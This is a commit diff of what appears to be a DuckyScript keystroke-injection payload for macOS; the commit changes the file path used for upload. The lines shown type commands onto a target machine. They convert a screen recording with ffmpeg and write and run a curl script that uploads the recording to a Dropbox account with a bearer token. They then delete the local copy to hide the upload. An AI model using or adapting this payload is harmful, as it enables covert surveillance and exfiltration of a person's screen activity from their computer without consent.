Re added system username requirment to screen recorded due to file path errors

This commit is contained in:
Narstybits
2023-06-07 22:10:45 -05:00
parent 6569b11ef6
commit c808a56508
@@ -40,7 +40,7 @@ STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 2
DELAY 500
ENTER
DELAY 10000
STRING echo 'curl -X POST "https://content.dropboxapi.com/2/files/upload" -H "Authorization: Bearer <API ACCESS TOKEN HERE>" -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @"~/Desktop/screen_recording.mp4"' > upload.sh
STRING echo 'curl -X POST "https://content.dropboxapi.com/2/files/upload" -H "Authorization: Bearer <API ACCESS TOKEN HERE>" -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary "@/Users/<system username here>/Desktop/screen_recording.mp4"' > upload.sh
ENTER
DELAY 500
STRING chmod +x upload.sh
@@ -48,7 +48,7 @@ ENTER
DELAY 500
STRING ./upload.sh
ENTER
DELAY 6000
DELAY 10000
STRING rm ~/Desktop/screen_recording.mp4
DELAY 250
ENTER